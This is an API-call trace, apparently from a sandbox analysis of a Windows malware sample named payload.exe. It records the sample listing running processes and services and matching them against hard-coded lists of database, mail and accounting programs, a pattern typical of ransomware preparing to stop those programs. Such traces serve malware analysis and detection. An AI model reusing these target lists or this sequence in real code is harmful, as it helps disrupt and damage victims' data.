lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0091.174] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0091.174] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0091.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0091.174] lstrlenW (lpString="UxSms") returned 5 [0091.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0091.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0091.174] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0091.174] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0091.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0091.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4089028 | out: hHeap=0x4f0000) returned 1 [0091.174] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x190 [0091.176] Process32FirstW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0091.176] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0091.176] lstrlenW (lpString="System") returned 6 [0091.176] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0091.176] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0091.176] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0091.176] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0091.176] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0091.176] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0091.176] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0091.176] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0091.177] lstrlenW (lpString="smss.exe") returned 8 [0091.177] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0091.177] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0091.177] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0091.177] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0091.177] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0091.177] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0091.177] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0091.177] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0091.177] lstrlenW (lpString="csrss.exe") returned 9 [0091.177] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0091.177] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0091.177] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0091.177] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0091.177] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0091.177] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0091.177] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0091.177] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0091.178] lstrlenW (lpString="wininit.exe") returned 11 [0091.178] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0091.178] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0091.178] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0091.178] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0091.178] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0091.178] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0091.178] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0091.178] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0091.178] lstrlenW (lpString="csrss.exe") returned 9 [0091.178] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0091.178] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0091.178] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0091.178] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0091.178] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0091.178] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0091.178] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0091.178] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0091.178] lstrlenW (lpString="winlogon.exe") returned 12 [0091.178] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0091.178] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0091.178] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0091.178] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0091.178] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0091.179] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0091.179] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0091.179] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0091.179] lstrlenW (lpString="services.exe") returned 12 [0091.179] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0091.179] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0091.179] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0091.179] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0091.179] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0091.179] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0091.179] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0091.179] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0091.179] lstrlenW (lpString="lsass.exe") returned 9 [0091.179] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0091.179] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0091.179] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0091.179] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0091.179] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0091.179] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0091.179] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0091.179] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0091.180] lstrlenW (lpString="lsm.exe") returned 7 [0091.180] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0091.180] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0091.180] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0091.180] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0091.180] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0091.180] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0091.180] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0091.180] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.180] lstrlenW (lpString="svchost.exe") returned 11 [0091.180] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0091.180] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0091.180] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0091.180] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0091.180] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0091.180] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0091.180] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0091.180] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.180] lstrlenW (lpString="svchost.exe") returned 11 [0091.180] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0091.180] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0091.180] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0091.180] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0091.180] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0091.180] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0091.180] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0091.180] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.181] lstrlenW (lpString="svchost.exe") returned 11 [0091.181] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0091.181] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0091.181] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0091.181] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0091.181] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0091.181] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0091.181] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0091.181] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.181] lstrlenW (lpString="svchost.exe") returned 11 [0091.181] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0091.181] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0091.181] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0091.181] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0091.181] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0091.181] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0091.181] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0091.181] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.181] lstrlenW (lpString="svchost.exe") returned 11 [0091.181] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0091.181] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0091.181] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0091.182] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0091.182] lstrlenW (lpString="audiodg.exe") returned 11 [0091.182] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.182] lstrlenW (lpString="svchost.exe") returned 11 [0091.182] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.182] lstrlenW (lpString="svchost.exe") returned 11 [0091.182] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0091.183] lstrlenW (lpString="userinit.exe") returned 12 [0091.183] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0091.183] lstrlenW (lpString="dwm.exe") returned 7 [0091.183] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0091.183] lstrlenW (lpString="explorer.exe") returned 12 [0091.183] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0091.183] lstrlenW (lpString="spoolsv.exe") returned 11 [0091.183] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0091.184] lstrlenW (lpString="taskhost.exe") returned 12 [0091.184] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.184] lstrlenW (lpString="svchost.exe") returned 11 [0091.184] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0091.184] lstrlenW (lpString="payload.exe") returned 11 [0091.184] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0091.185] lstrlenW (lpString="reader_sl.exe") returned 13 [0091.185] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0091.185] lstrlenW (lpString="dllhost.exe") returned 11 [0091.185] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0091.185] CloseHandle (hObject=0x190) returned 1 [0091.185] Sleep (dwMilliseconds=0x1f4) [0091.910] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3ab70d0 [0091.913] EnumServicesStatusExW (in: hSCManager=0x3ab70d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 0 [0091.914] GetLastError () returned 0xea [0091.914] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xcec) returned 0x4089028 [0091.914] EnumServicesStatusExW (in: hSCManager=0x3ab70d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4089028, cbBufSize=0xcec, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4089028, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 0 [0091.937] GetLastError () returned 0xea [0091.937] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x4089028, Size=0xd72) returned 0x4089028 [0091.937] EnumServicesStatusExW (in: hSCManager=0x3ab70d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4089028, cbBufSize=0xd72, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4089028, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 1 [0091.937] CloseServiceHandle (hSCObject=0x3ab70d0) returned 1 [0091.937] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0091.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0091.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0091.937] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0091.937] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0091.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0091.937] lstrlenW (lpString="AudioSrv") returned 8 [0091.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0091.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0091.937] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0091.937] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0091.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0091.937] lstrlenW (lpString="BFE") returned 3 [0091.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0091.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0091.937] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0091.937] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0091.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0091.937] lstrlenW (lpString="CryptSvc") returned 8 [0091.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0091.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0091.938] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0091.938] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0091.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0091.938] lstrlenW (lpString="CscService") returned 10 [0091.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0091.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0091.938] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0091.938] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0091.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0091.938] lstrlenW (lpString="DcomLaunch") returned 10 [0091.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0091.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0091.938] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0091.938] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0091.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0091.938] lstrlenW (lpString="Dhcp") returned 4 [0091.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0091.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0091.938] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0091.938] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0091.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0091.938] lstrlenW (lpString="Dnscache") returned 8 [0091.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0091.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0091.938] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0091.938] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0091.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0091.938] lstrlenW (lpString="DPS") returned 3 [0091.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0091.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0091.938] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0091.938] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0091.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0091.938] lstrlenW (lpString="eventlog") returned 8 [0091.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0091.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0091.938] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0091.938] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0091.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0091.938] lstrlenW (lpString="EventSystem") returned 11 [0091.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0091.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0091.938] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0091.938] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0091.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0091.938] lstrlenW (lpString="gpsvc") returned 5 [0091.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0091.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0091.938] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0091.938] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0091.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0091.939] lstrlenW (lpString="LanmanWorkstation") returned 17 [0091.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0091.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0091.939] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0091.939] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0091.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0091.939] lstrlenW (lpString="lmhosts") returned 7 [0091.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 